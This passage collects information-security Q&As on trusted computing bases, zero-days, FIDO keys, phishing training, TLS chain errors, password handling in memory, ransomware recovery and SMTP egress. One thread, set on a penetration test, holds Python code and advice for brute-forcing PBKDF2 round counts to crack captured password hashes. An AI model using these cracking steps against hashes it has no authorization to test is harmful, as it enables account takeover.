What's a practical example of a Trusted Computing Base? I'm studying for the CISSP exam and trying to wrap my mind around the concept of a Trusted Computing Base.  Can someone provide a practical example?  The recurring definition I see is that it's a "combination of hardware, software, and controls that work together to form a trusted base to enforce your security policy".

Initially, I was thinking that this was something like an approved vendor workstation system running a base image OS that's pre-configured for the environment... but then later in the course material, the study guide author talks about security perimeters and how the TCB can communicate with other remaining elements of the computer system that exist outside of the TCB.

Wikipedia also is a bit vague on the topic with the only example being:

  AIX materializes the trusted computing base as an optional component in its install-time package management system.

Huh?

A very common TCB, though never named as such, is the late great Blackberry phone. Government parties generally require access to OS source to certify as a TCB, but on top of the stock device may be a government-developed document management client, containerised storage, policies enforcing encryption and complex passwords, screen filters limiting shoulder surfing, and secure destruction procedures.

For most companies that handed these to execs they were de facto TCBs. Obviously government classified systems are more strenuous (see Barack Obama's modified Samsung smartphone).

Another way to approach it is to think of the secure room in Mission Impossible (the movie), but a bit more user friendly. It's a useful extreme at the opposite end from off-the-shelf Blackberry - custom hardware, custom software, custom processes, custom room.

Reality is somewhere in the middle, but the key takeaway us the totality of design, deployment and use.


what does 0day vulnerability specifically mean? is any unknown vulnerability from any type considered as 0 day vulnerability ?

as example if i discovered xss vulnerability in a website which is unknown for users and developers, then does that mean i have discovered a 0-day vulnerability ?

or it means a new type of vulnerabilities which is found for the first time ?

according to the first definition i deduce that zero days vulnerabilities is very common and doesn't represent the intelligence or excellence of it's discoverer ! and this deduction is against the public opinion

and according to my other definition i deduce that all known types of vulnerabilities were zero days in the past !
so xss,sql,file upload,RCE..etc all of these were zero days vulnerabilities previously ?

i am really confused

==== edit ===

my question is not duplicated because it's about specific part of zero day definition, the known answer tell me that a 0day is a vulnerability which is unknown for the software developers

but that isn't a precise definition as it keeps some questions unanswered :

like : .. what is the essence of 0day ?
is it a new type of vulnerabilities which could be exist in any software or it's just one of that common vulnerabilities which is found in a software without informing it's developers?

if it's a new attack vector so could someone give me an example of a 0day vulnerability of the past which is known now and no longer considered a 0day

There is pretty good explanation on Wikipedia (bold mine):

  A zero-day (also known as zero-hour or 0-day or day zero) vulnerability is an undisclosed computer-software vulnerability that hackers can exploit to adversely affect computer programs, data, additional computers or a network. It is known as a "zero-day" because it is not publicly reported or announced before becoming active, leaving the software's author with zero days in which to create patches or advise workarounds to mitigate its actions.

A real-world example dates back to three quarter centuries ago.


Smartcard authentification: encrypt/decrypt or ECDSA? I'm implementing a simple door access control with smart keyfobs.
At the moment I send a 32 byte message to the keyfob which it signs with ECDSA and I verify the authenticity with the public key.

There would also be the possibility to send an encrypted message to the card and let it decrypt it.

Which of the two methods is more practicable or more common? (secure?)

In public key cryptography you perform authentication by signing a message that the other end verifies it using your public key.

Since in your case you only need to authenticate, this is exactly what you need.


Does preview link in facebook post reveal user? I know that Facebook uses https which mean all information is encrypted. But when I view posts on FB, I often see preview of links, which include pictures and text.

Since FB is on https, does it mean all previews are sent from FB server? Or the link is embedded from the source?

If the preview is from the link source, then will it reveal user that viewing a page on FB to the source link?

does it mean all previews are sent from FB server? Or the link is embedded from the source?

When you share a page on social media, the platform (in this case Facebook) pulls in certain information from the embedded webpage, including the title, author information, page summary, and often an image. More information can be specified in the html header in meta tags. See this link for more information on meta tags: https://moz.com/blog/meta-data-templates-123

  If the preview is from the link source, then will it reveal user that viewing a page on FB to the source link?

If you log in to a website using your facebook credentials, then that website is pulling information from your Facebook profile to store in their database about you, so you would be identifiable. Otherwise when you post a link, if a website user has a Facebook developer account, they can collect metrics about your usage, which can be viewed in aggregate via the Facebook Insight API. Insights works in a similar fashion to Google Analytics, in that it will show a site owner that you viewed the site and some information about you, but not your name. However, given enough information, you can still be identified by metadata. See this blog for more information about Facebook Insights https://blog.kissmetrics.com/guide-to-facebook-insights/ and also look up Facebook's privacy policy for more information on how they use your information.


Using Fido U2F or similar as primary authentication method? I've been wondering about this for a while, but couldn't find much on the web, so I hope that someone could point me in the right direction for better understanding about this topic.

Would it be viable / safe to use something like a Fido U2F device as primary authentication method (mostly thinking about web apps here, but possibly not limited to)?

I've been using client-side SSL certificates in the past for this, but of course that requires client configuration; I know the same should be possible using a standard smartcard, but of course most devices nowadays lack a smartcard reader. The Fido keys look like the perfect form factor to carry around a private key pair without need for a reader; for mobile devices you could just use NFC (as newer yubikey do) or a built-in "on the go" adapter.

Now, I understand the problem of the key being stolen, but I imagine that could be solved / mitigated by using some PIN to unlock the key, as with most smartcards. As an additional security measure, websites could ask for a password as "2nd-factor". That would mean of course having to remember a password, but just for those really crytical systems you absolutely want to be well protected.

In my hope, something like this could help greatly improving both on the security point of view and lowering the login friction (for users) and complexity (for implementers) as well.

Now, is there any major issue / roadblock in going this way? It almost sounds like browsers would already be able to use a smartcard for auth, the only thing missing would be to develop an actual device (assuming there is no way to add a PIN to Fido devices)..

Indeed! I use/build/deploy both standard smart card PKI solutions (SSL client certificate, applets, browser plugin, middleware...) and FIDO U2F simplified PKI solutions and FIDO U2F works great even as a primary authentication method.

It can be used as a primary authentication through a shared login url page with username and FIDO U2F or through a by-user-unique login url (to identify username without even asking) with FIDO U2F. Another non-standard use case but easy solution if you only have to deal with a very few users: you can even skip the "asking for a username part" (server only need to send every known key handles to the device to find the right one).

About adding PIN protection, we are starting to see products with local PIN entry protection like the onlykey (https://crp.to/p/)

You can even develop your own FIDO U2F API compatible solution with enhanced features to add PIN protection, shared identity, simplified encryption... I am one of the few "mad dogs" working on such solutions.

Note/reminder : FIDO U2F works on Chrome on Windows, Linux, OSX, Android. Firefox built-in support should be available in a few weeks. There are already FIDO U2F USB security keys, NFC Cards/keys and soon there will be Bluetooth Low Energy (BLE) devices.


What is hacking hackable virtual machines useful for? I was watching an ethical hacking course where the tutor taught me to hack into different virtual machines and also machines from Hack The Box.

In the real world, how are these practices of hacking virtual machines useful? What do these virtual machines represent: a webserver, someone's PC, phone, any kind of server, or something else?

Think of hacking virtual machines to be the equivalent of being in a shooting range but for pentesting/offsec. It is all about practice.

  In the real world, how are these practices of hacking virtual machines useful?

Learning & Testing of exploits/tools
Understanding, Finding risks and vulnerabilities
Also, the legality of these practices, you won't have to worry much about legal problems as these boxes are set up in a way primarily for hands-on experiences & education purposes.

  What do these virtual machines represent: a webserver, someone's PC, phone, any kind of server, or something else?

If I didn't understand wrongly, these VMs can be made in a way where they serve a purpose, like a database, webserver, and or someone's phone. Different functionalities, different ways of cracking.


How do you back up cardholder data remotely without a network connection? In the PCI DSS version 3 it says:

  1.3.3 Do not allow any direct connections inbound or outbound for traffic between the Internet and the cardholder data environment.

But in the event of hard drive failure, fire, natural disaster, or terrorist takeover, I wouldn't want to lose the information stored there, so I researched  websites that provide "secure online backup" solutions. For example: http://www.carbonite.com/, which has a pro plan for backing up "financial data, healthcare records or other crucial business files". (Note, I'm only using this as an example because they were the first result, not because I have any affiliation with them).

So it would seem that it is possible somehow. My question is, how would you get the data from the cardholder data environment and the Internet without being able to have any incoming or outgoing traffic? If I have to proxy it through another local server, wouldn't that be essentially the same thing with just another step where things could potentially go wrong in between? Along the same lines is keeping the operating system patched and up to date. That's a bit difficult to do without an active Internet connection. Are there any exceptions to the PCI DSS for pre-defined connections for purposes such as backups and operating system updates?

They're saying, "Don't hook up a server with cardholder data stored on it directly to an ADSL modem". In other words, firewalling has to be employed between the Internet connection and the cardholder data environment (and must be employed following the PCI spec).


why don't all sites generate passwords for users? I came across this question and I have never seen a site that does that, which is a red flag. However, the approach seems sound and it gets around having to implement password rules to enforce strong passwords. Also, if all sites did that it would ensure users don't reuse passwords. So what are the drawbacks of that approach? Is there a good reason all sites don't use that approach?

Specifically, I'm assuming we follow best practices that came up in the comments and answers of that question, such as:

generate a long (32+ char), random (with good randomness) password
show it to the user once
hash it with SHA256
resetting the password generates another long, random password

In fact perhaps the approach could even be enhanced if instead of showing the password to the user, the site simply displayed a form with the password field filled in so the browser and/or passwords managers could memorize it. The user would just submit the form and would never have to see it.

Security at the expense of usability comes at the expense of security

The problem is that there is only so much a web application can do to force good security practices on users.  In this particular case I can tell you what will happen in the vast majority of cases: people will write down their "secure" password somewhere nice and insecure.  As a result, this will not necessarily make anything more secure: it will just shuffle around where the vulnerability lives.  In essence, this system is missing some necessary supporting architecture to make the user experience very easy, and therefore very secure.  As a result there are basically three kinds of people with three different results:

People who don't care/understand about password security.  They are going to write down that uncrackable password in a place that is super-accessible, and as a result super-insecure.  These are the same people that reuse the same weak passwords on every site.  As a result, they go from one bad security solution to another bad security solution.  These are also the majority of web users, so for the majority of the internet your solution has no real benefit.
People who use password managers and other password helpers, their password systems cannot integrate with your website.  These people will be worse off, as suddenly their normally-secure system can no longer be used.  As a result they'll probably end up writing it down, maybe not securely, and be worse off then they were before.  To be clear, this will definitely happen: your "show the password in a form so that the password manager can record it" solution will absolutely not work with some password managers.  I can just about guarantee it.
People who use password managers, and those password managers integrate properly with your system.  They were already storing things securely and still are, but now with another point of failure: your random number generator.  Overall, though, there security will neither have decreased nor increased substantially.

Overall therefore, I would say that I see no real benefit for this system.

I have to say this out loud because it is critical in all other contexts: you never want to use SHA256 to hash passwords.  In this case you can probably get away with a fast hash because your password is too long for a brute-force to be feasible anyway.

Edit to add the obvious answer

I think the biggest problem with this solution is that it doesn't go far enough to fix the underlying problem.  The underlying problem is that people suck at passwords: we either pick poor ones, reuse them, or don't store them securely.  The solution isn't to come up with a new password system: the solution is to ditch passwords all together.  Many companies are starting to introduce password-less login.  That's the answer you really want.


Anti-phishing educational resources for users? I'm am looking into conducting a phishing campaign to gauge how susceptible my workplace is to phishing attacks. Part of this will involve guiding "duped" users to materials or resources that will help users learn how to spot and handle phishing attempts.

Would anyone happen to know of some good, preferably free, resources we could utilize? We already have a plan for conducting the campaign(i.e., sending the emails, tracking them, etc...), I'm looking for what to do once a person clicks through the email and now should be helped in learning about phishing and it's threats.

Full disclosure: I'm the owner of SelfPhish.com

When I was looking for examples of online sources, I found material was either skewed too much to the simplistic, or too much to the technical.

When it comes to phishing education, what you are looking to do is not simply to educate, but to change behaviors. More specifically, how to respond to 'triggers'. When an employee receives an email, what are they supposed to do. As you look for (or design your own program as many people do) material, keep an eye towards providing actionable steps on how to respond to any email. If you keep it to the behavioral level, then you may be able to bypass trying to teach technical concepts to your general population.

I could flood you with tons of available resources on the topic, but I would simply get you to look at the APWG as a source of public info that you can use.


TLS certificate exchange may be malformed When I try to connect to xxx I get certificate errors.  One legacy Java application doesn't acknowledge the certificate at all, and FileZilla says it's being sent in the wrong order.  When they send me the certificate it looks correct, so I'm assuming the problem is with how it's being transmitted during the TLS handshake.  I'm can't find an application which will dump the entire stream, so I can't see what exactly is being sent.
Here's the FileZilla log.  Increasing the log level doesn't add any useful information

Status: Resolving address of rxdatadirector.catamaranrx.com
Status: Initializing TLS...
Error: Server sent unsorted certificate chain in violation of the TLS specifications

I'm tearing my hair out over this.  Can anyone see what the error is with the connection negotiation or am I nuts?

FYI product is IBM Sterling Commerce SFTP and FTPS component

Given that you use Filezilla my guess is that you are using FTP. The following command connects to the FTP server, upgrades to TLS and shows you among other things the certificate chain:

openssl s_client -starttls ftp -connect rxdatadirector.catamaranrx.com:21
CONNECTED(00000003)
...
Certificate chain
 0 s:/C=US/postalCode=55343/ST=Minnesota/L=Minnetonka/street=9900 Bren Road East/O=UnitedHealth Group Inc./OU=Enterprise SSL Pro/CN=rxdatadirector.catamaranrx.com
   i:/C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Organization Validation Secure Server CA
 1 s:/C=US/postalCode=55343/ST=Minnesota/L=Minnetonka/street=9900 Bren Road East/O=UnitedHealth Group Inc./OU=Enterprise SSL Pro/CN=rxdatadirector.catamaranrx.com
   i:/C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Organization Validation Secure Server CA
 2 s:/C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Organization Validation Secure Server CA
   i:/C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Certification Authority
 3 s:/C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Certification Authority
   i:/C=SE/O=AddTrust AB/OU=AddTrust External TTP Network/CN=AddTrust External CA Root
 4 s:/C=SE/O=AddTrust AB/OU=AddTrust External TTP Network/CN=AddTrust External CA Root
   i:/C=SE/O=AddTrust AB/OU=AddTrust External TTP Network/CN=AddTrust External CA Root

This means that this server first sends the server certificate [0], which is correct. Then it send the server certificate again [1], which is wrong. Then it send the intermediate certificate [2] which issued the server certificate , which is correct. Then it sends the next certificate in chain [3] which is also correct. But then it send the root CA [4] which should not be sent at all but will usually be simply ignored if sent.

Thus, you need to remove [1] and [4] and then it should be fine.


Unknown round length makes hash uncrackable? So I am on an engagement and grabbed some hashes but cracking them has come to no avail. I believe I know the hash type (PBKDF2-HMAC-SHA256) but I am not sure what round size they used. This got me thinking doesn't this make it impossible to crack or am I missing something. Because even if say you knew the plain text password and salt (obviously a very contrived scenario) you'd still need to try every round size until you found the one they used.

Is this thinking correct or am I missing something?

EDIT: This is important info looking back and I apologize for the confusions about the rounds being missing. The application returns hashes in two different parts of a JSON object. {...,"Password":"(Base64encoded(27 characters))","PasswordSalt":"(Base64encoded(24 characters))",...}. Which is why the hashes do not include a rounds identifier.

So PBKDF2-HMAC-SHA256 came from how they store passwords in a different part of the application and it was all I could find through OSINT. Looking at the password lengths and playing around with Python passlib it seems the passwords are stored as pbkdf2_sha1. I can make sure I'm right but looping through all the rounds and seeing if any come out to the password that I have. It will still take a while since, as the community has said, 100,000 rounds isn't unheard of and sadly they aren't using the default of 29,000.

EDIT EDIT: Just ran my known password against its hash through all rounds 1-100,000 and didn't get a hit. Seems my intuition about it being Sha1 were wrong. Trying SHA-256 now with the same approach.

EDIT EDIT: Well my hope is quickly depleting. I've tried SHA_1,256,and 512 all from 1 to 100,000 rounds and none of them match my hash. The hash lengths and values seem to match perfectly with the description but experiments are seeming to prove different.

I know this isn't really a programming forum but for completeness here is the code I was using to check my hash against all the generated ones.

import concurrent.futures
global quit
from passlib.hash import pbkdf2_sha512
quit = False

def hasher(round, quit):
    if(not quit):
        hash = pbkdf2_sha512.using(salt=(passlib.utils.binary.ab64_decode('xpN14Zl95QQNOKffgsERSw==')), rounds=round).hash('Password').split('$')[-1]
    if(hash[0:5] == '278Vu'):
        print(round) #found it
        quit = True
    if(round % 5000 == 0):
        print(round) #status update

exec = concurrent.futures.ThreadPoolExecutor(max_workers=4)
print("Execing")
for i in range(1,100001):
    exec.submit(hasher,i, quit)

EDIT EDIT EDIT:
Seems the hash identifier tool here https://github.com/psypanda/hashID has labeled them as Peoplesoft passwords. I am not sure if this is a false positive because the application doesn't seem to use peoplesoft anywhere. Also It seems Peoplesoft hashes are not salted and mine returns a salt. There is one post on the matter here, https://hashcat.net/forum/thread-6639.html but it is vague. Any help in this regard?

This would usually only be a mild, temporary barrier to cracking.

Leaving off the number of rounds would be a thin layer of obscurity. The only way such a hash could even work would be if the software had a hard-coded or algorithmic way to determine the number of rounds. So that software could simply be reverse-engineered to discover the number of rounds.

It would also be quite unusual. Most hash formats that use rounds include the number of rounds as part of the hash itself (the "1000" in this example, taken from the list of hashcat example hashes):

sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

This means that the easiest workaround is to simply generate a version of the hash with many numbers of rounds:

sha256:1:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
sha256:2:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
sha256:3:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
sha256:4:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
sha256:5:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

... and then feed all of them to your cracking software. (Because the number of rounds in this hash format is designed to be variable, cracking software should be able to handle this just fine.)

That being said, there's usually a practical upper limit to the number of rounds - beyond which it would take too long for interactive users to tolerate waiting for their password to be verified. 100,000 rounds would be pretty unusual, but not impossible. But if this is some custom, bespoke application, an unusually high number of rounds might be tolerable. So if it's some bespoke application, trying to "hide" the number of rounds might make it a little harder for the attacker. And since PBKDF2 is a pretty slow hash, if we assume that the defender picked a pretty high number of rounds, this approach might actually make things harder.

So if an attack on rounds from 1 to 50,000, using common wordlists and attacks, didn't yield any results in a day or two ... I'd be inclined to start to think that it might be different hash type - and would probably also trying to grab the software/firmware that generates/verifies the hashes and reverse engineering it. Actually, I'd probably do that anyway why I was waiting for the cracking job to finish. :)


Any advice on how to assure patients that a medical facility is well protected against identity theft? My apologies if this question has been asked before.

How does a medical practice assure patients that the practice follows excellent computer security practices?

Conversely, how does a patient find this out?

Some initial questions:

Do any of the computers in the office run Windows XP? If so, are they air-gapped?
Ditto for Windows Vista.
Does each computer use full-disk encryption?
What is office policy about BYOD devices?
Is there a written security policy? What documents do employees sign?

These questions, and more, would be answered in a security audit. Can medical facilities provide a statement to patients about their security practices, without revealing specifically what they are?

An interesting link:

http://krebsonsecurity.com/2014/09/medical-records-for-sale-in-underground-stolen-from-texas-life-insurance-firm/

NOTE: I think that a "medical audit" does not cover security issues. A "medical audit" covers proper diagnosis and coding of medical conditions according to the ICD-10-CM (International Classification of Diseases, Tenth Revision, Clinical Modification). See http://www.cdc.gov/nchs/icd/icd10cm.htm

As Schroeder has mentioned there are a few security standards and frameworks which can be used. One thing you absolutely are REQUIRED to comply with by LAW  in the U.S. (I see you live in New York) is HIPAA.

Aside from that the ISO 27001 can provide you with a certification that you have a controlled security organization. There are different bodies that can provide this certifications, such as EY CertifyPoint or BSI.


Is it safe to combine AES with TLS? Given that two clients want to sync data through a server, is it safe to use AES to encrypt the data and TLS to communicate with the server?

Assumptions:

Server has never access to unencrypted data / messages
Clients use a pre-shared secret for AES encryption without a server being involved

TLS is a protocol for establishing the symmetric key that will be used for encrypting data/messages between two endpoints. So if the client communicates with server through the TLS protocol, they will only negotiate (safely), the key that will ultimately be used by each to encrypt/decrypt the data using an algorithm like AES.

To serve your purpose, you will need to encrypt the data one more time with a symmetric key that the two clients (and not the server) are aware of. The suggestion of course assumes a lot about the way you are passing info from clientA->server->clientB.


Are passwords stored in memory safe? I just realized that, in any language, when you save a password in a variable, it is stored as plain text in the memory.

I think the OS does its job and forbids processes from accessing each other's allocated memory. But I also think this is somehow bypassable. So I wonder if it is really safe and if there is a safer way to store passwords to ensure that foreign processes can't access them.

I didn't specify the OS or the language because my question is quite general. This is rather a computer literacy question than a specific purpose one.

You are touching a sore point...

Historically, computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model.

Thus, the hardware provides privilege levels. A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege levels. Applications run at a lower level and are forcibly prevented by the kernel from reading or writing each other's memory. Applications obtain RAM by pages (typically 4 or 8 kB) from the kernel. An application which tries to access a page belonging to another application is blocked by the kernel, and severely punished ("segmentation fault", "general protection fault"...).

When an application no longer needs a page (in particular when the application exits), the kernel takes control of the page and may give it to another process. Modern operating systems "blank" pages before giving them back, where "blanking" means "filling with zeros". This prevents leaking data from one process to another. Note that Windows 95/98/Millenium did not blank pages, and leaks could occur... but these operating system were meant for a single user per machine.

Of course, there are ways to escape the wrath of the kernel: a few doorways are available to applications which have "enough privilege" (not the same kind of privileges than above). On a Linux system, this is ptrace(). The kernel allows one process to read and write the memory of the other, through ptrace(), provided that both processes run under the same user ID, or that the process which does the ptrace() is a "root" process. Similar functionality exists in Windows.

The bottom-line is that passwords in RAM are no safer than what the operating system allows. By definition, by storing some confidential data in the memory of a process, you are trusting the operating system for not giving it away to third parties. The OS is your friend, because if the OS is an enemy then you have utterly lost.

Now comes the fun part. Since the OS enforces a separation of process, many people have tried to find ways to pierce these defenses. And they found a few interesting things...

The "RAM" which the applications see is not necessarily true "memory". The kernel is a master of illusions, and gives pages that do not necessarily exist. The illusion is maintained by swapping RAM contents with a dedicated space on the disk, where free space is present in larger quantities; this is called virtual memory. Applications need not be aware of it, because the kernel will bring back the pages when needed (but, of course, disk is much slower than RAM). An unfortunate consequence is that some data, purportedly held in RAM, makes it to a physical medium where it will stay until overwritten. In particular, it will stay there if the power is cut. This allows for attacks where the bad guy grabs the machine and runs away with it, to inspect the data later on. Or leakage can occur when a machine is decommissioned and sold on eBay, and the sysadmin forgot to wipe out the disk contents.

Linux provides a system called mlock() which prevents the kernel from sending some specific pages to the swap space. Since locking pages in RAM can deplete available RAM resources for other process, you need some privileges (root again) to use this function.

An aggravating circumstance is that it is not necessarily easy to keep track of where your password is really in RAM. As a programmer, you access RAM through the abstraction provided by the programming language. In particular, programming languages which use Garbage Collection may transparently copy objects in RAM (because it really helps for many GC algorithms). Most programming languages are thus impacted (e.g. Java, C#/.NET, Javascript, PHP,... the list is almost endless).
Hibernation brings back the same issues, with a vengeance. By nature, hibernation must write the whole RAM to the disk -- this may include pages which were mlocked, and even the contents of the CPU registers. To avoid leaks through hibernation, you have to resort to drastic measures like encrypting the whole disk -- this naturally implies typing the unlock password whenever you awake the machine.
The mainframe model assumes that it can run several process which are hostile to each other, and yet maintain perfect peace and isolation. Modern hardware makes that very difficult. When two process run on the same CPU, they share some resources, including cache memory; memory accesses are much faster in the cache than elsewhere, but cache size is very limited. This has been exploited to recover cryptographic keys used by one process, from another. Variants have been developed which use other cache-like resources, e.g. branch prediction in a CPU. While research on that subject concentrates on cryptographic keys, which are high-value secrets, it could really apply to just any data.

On a similar note, video cards can do Direct Memory Access. Whether DMA cannot be abused to read or write memory from other process depends on how well undocumented hardware, closed-source drivers and kernels collaborate to enforce the appropriate access controls. I would not bet my last shirt on it...

Conclusion: yes, when you store a password in RAM, you are trusting the OS for keeping that confidential. Yes, the task is hard, even nigh impossible on modern systems. If some data is highly confidential, you really should not use the mainframe model, and not allow potentially hostile entities to run their code on your machine.

(Which, by the way, means that hosted virtual machines and cloud computing cannot be ultimately safe. If you are serious about security, use dedicated hardware.)


Dharma ransomeware files decryption One of my clients send me some picture that shows they infected by some ransomware. As i analysed i found that ransomware is probably Dharma ransomware, child of Crysis. so i tried to decrypt files with Kaspersky and avast tools but failed.
Files renamed to some thing like :

test1.txt.id-XXX.[black.mirror@qq.com].java

The real file name was test1.text

. I need a tool to decrypt them for a decryption with master key for it?

NoMoreRansom (link here) will help you with ransomware identification and relevant decryption steps. Here are all of their decryption tools: https://www.nomoreransom.org/en/decryption-tools.html

If you are sure that it is the Dharma ransomware then they have the steps to decryption listed here for that particular infection: https://www.nomoreransom.org/uploads/RakhniDecryptor_how-to_guide.pdf


VPN access concerns and security risks First off, I should note that I am only a user of VPN and not an admin, so my knowledge of how VPNs work is very limited, thus I turn to the VPN gurus at stackexchange to see if you can cast some light on something for me.

I've recently started a new job, where we have a large amount of files on a server that I can access from home/anywhere using VPN.

When I started working here I got a laptop with Windows 10 on it and the VPN access set up using Cisco. However at hime I have a Mac, and when it comes to reading text/PDFs documents etc. I much more prefer the Retina screen of my Mac over that of the thinkpad, and thus I attempted to connect to the VPN server from my Mac.

I soon found out that I needed something called the "Shared Secret" to properly set things up, and that was the only thing I was lacking in order to proceed. I then contacted IT support to get the "Shared Secret" and was declined.

Their argument for declining me were;

1 - "we do not know what people have on their private computers"
2 - "we do not support Macs"

Now, these reasons confuse me. My understanding was that VPNs are set up in a way to allow secure connections in a way that it would remain secure regardless of what applications are installed on my personal computer. Also that it doesn't discriminate between OS.

Do any of you have any inputs to the claims offered by our IT support? I'm not going to take this any further, I am just very curious (I am a data scientist, so I am interested in all of these things, even though I presently know very little).

My understanding was that VPNs are set up in a way to allow secure connections in a way that it would remain secure regardless of what applications are installed on my personal computer.

Remember that a VPN provides nothing but a secure tunnel to a private network. They set up the VPN client on your work laptop so that you can use the private network of your workplace from home or essentially anywhere else. So using the workplace VPN on a personal laptop is almost equivalent to bringing your own - potentially untrusted - device to work, which is arguably a security risk. (Also see the disadvantages of BYOD.)

The VPN setup is only meant to secure the traffic between you and the private workplace network so that nobody can tamper with your traffic even if you are working from a public wifi or another untrusted network - and nothing else. It helps against an untrusted communication channel but not against an untrusted device. There are no mechanisms that would prevent malware on your machine from accessing the workplace network, extracting VPN authentication information or copying work-related files from your machine. If you are using the provided laptop instead, the administrators will at least have an overview about which devices are at use and can issue security updates/audits accordingly.


How to extract intresting data from malicious e-mail header Premise: I know pretty well how SMTP works, and how to read an e-mail header. I know what all the main fieds mean, but I couldn't know what to look for if I want to know if the mail is kind of malicious (e.g. spoofed).

For instance, given the following e-mail header:

Delivered-To: damore@dis.uniroma1.it
Received: by 10.170.153.138 with SMTP id u132csp362868ykc;
 Wed, 18 Jun 2014 22:23:12 -0700 (PDT)
X-Received: by 10.224.162.212 with SMTP id w20mr2259156qax.50.1403155391885;
 Wed, 18 Jun 2014 22:23:11 -0700 (PDT)
Return-Path: <nazaret.galilea@archaeologist.com>
Received: from mout.gmx.com (mout.gmx.com. [74.208.4.200])
 by mx.google.com with ESMTPS id s2si5075397qak.63.2014.06.18.22.23.11
 for <damore@dis.uniroma1.it>
 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Wed, 18 Jun 2014 22:23:11 -0700 (PDT)
Received-SPF: none (google.com: nazaret.galilea@archaeologist.com does not designate permitted sender
 hosts) client-ip=74.208.4.200;
Authentication-Results: mx.google.com;
 spf=neutral (google.com: nazaret.galilea@archaeologist.com does not designate permitted sender
 hosts) smtp.mail=nazaret.galilea@archaeologist.com
Received: from [68.146.72.33] by 3capp-mailcom-lxa14.server.lan (via HTTP);
 Thu, 19 Jun 2014 07:21:59 +0200
MIME-Version: 1.0
Message-ID: <trinity-10a5ee53-e71d-4b2c-a69f-f9624b154874-1403155319290@3capp-mailcom-lxa14>
From: "Luis Gutierrez" <nazaret.galilea@archaeologist.com>
To: Marina.Scheidler@bibliothek.uni-augsburg.de
Subject: Prayer
Content-Type: multipart/mixed;
 boundary=rehcsedm-e54a6372-422a-4dea-b91c-2abd856af2a4
Date: Thu, 19 Jun 2014 07:21:59 +0200
Importance: normal
Sensitivity: Normal
X-Priority: 3
X-Provags-ID: V03:K0:QOIMVsTNJekpMbcCkjuHDVKatYQZ9wC72dFJEb42vaY
 hpFhr7gaVuWuGGISumdLEpXf3yn7rQNF6ZRch1TfS9J1I82cn/
 u8UZnJMu7NwE9SNzrL4avNN77Lc1MjCsJGmKt62nErj508xvdo
 AyldimzoGxZywT4eMoeFTJCClcOn9ocBHowp6Esp1gRwGuUJzb
 5MP9bB4PYKy8y1aieZSDoM2VY8QXaWW2HoBfUILeE9+/fVmVV3
 2sQnA9c60YjGUDB3sscOBcB7Exa1DhmJ1km3cMDIfozBWKhji3
 UothB/8EHOkdD8giw1WZZGHvdEX

--rehcsedm-e54a6372-422a-4dea-b91c-2abd856af2a4
Content-Type: text/html; charset=UTF-8

(it is taken from an university exercise, so I know that there must be something)

The only interesting thing that I found is that contents of fields Delivered-To: and To: are different (how is it possible?).

What else should I look for?

I found something of your interest :

The sending IP address and the SPF validation will give you a very
good sense of whether an email truly comes from the person purported
to be sending it.
The line Received: from mout.gmx.com (mout.gmx.com. [74.208.4.200]) gives you the IP address from where the email is coming from.
Now, there are various websites that give threat intelligence reports such as VirusTotal. If you search about this IP address you will get an interesting report See this! The above address is reported by 2 firms also it's community score is quite shocking.


Passing an invalid CVV creates a successful transaction I built a shop and integrated a card payment system. On the checkout page, we have:

The card number
Expiration date
CVV

If I use an invalid expiration date, the payment fails, as expected. But if the card number and the expiration date are correct, even if I pass an invalid CVV, the transaction is successful.

Is that expected? If it's not expected, is it a vulnerability of my bank or of the payment service I use?

Update: It does seem it is related to the bank. I tried with a different credit card I have from another bank, and I cannot reproduce the problem. In this case the transaction is created only if the CVV is correct.

Again, should I report this somewhere or it's an expected behavior?

It's not expected, but it's not impossible.

The minimum data required to perform a credit card transaction is the card number (Primary Account Number, or PAN).

The expiration date, the cardholder name, the CVV, the billing zip code can all be used to validate the PAN.  But they aren't required.

The merchant can choose to require and validate more or less information, and takes on more or less risk and fees as a result.  Clearly you went through a merchant who asked for the CVV but then either failed to submit it as part of the transaction, or submitted it and then ignored the advice to decline the transaction based on CVV mismatch.


What are recommendations for unblocking outbound SMTP traffic in an organization? Our organization has blocked all outbound SMTP traffic under the assumption that we are preventing potential botnet spamming issues which lead to blacklisted IPs. However, I've seen other organizations which have been set up to allow this and am curious what recommendations are for being the most secure and protected in regards to SMTP traffic.

An initial thought is that perhaps just unblock 465 and 587 so that only the secure channels are allowed (I don't believe you need 25 open for the secure SMTP ports to be used). But thinking further, perhaps find a list of common SMTP servers of large ISPs that would be more-or-less considered safer than (say) smtp.spammersite.ru?

Any recommendations on this?

You unblock only the ports intended for clients to send mail to their own mailserver. This would be 465 and 587.
Servers on this ports should always require authentication from clients, so they can't be used by spam bots easily.
Port 25 is intended to be used only to send mail from server to server. Don't allow connections there, with the exception of known mail servers in your organization, obviously.

If you have a common ISP that requires mails to be submitted on port 25, I would only ever unlock it if this is a separate server from their incoming mailserver and requires authentication.


Asymmetric Data Storage+ No-Hash Password Storage? Edit: removed a part of the original question; I'll break it down in a different post.

I am following @Polynomial's answer to store information in a database.  Here are my requirements:

Only the user can see their information.  The server only sees scrambled data.
Allows for easy password changes
OK with "lost your password, lost your data"
If possible, doesn't store a hash of the user password
Use only one server and its own storage space

Here's what I have so far:

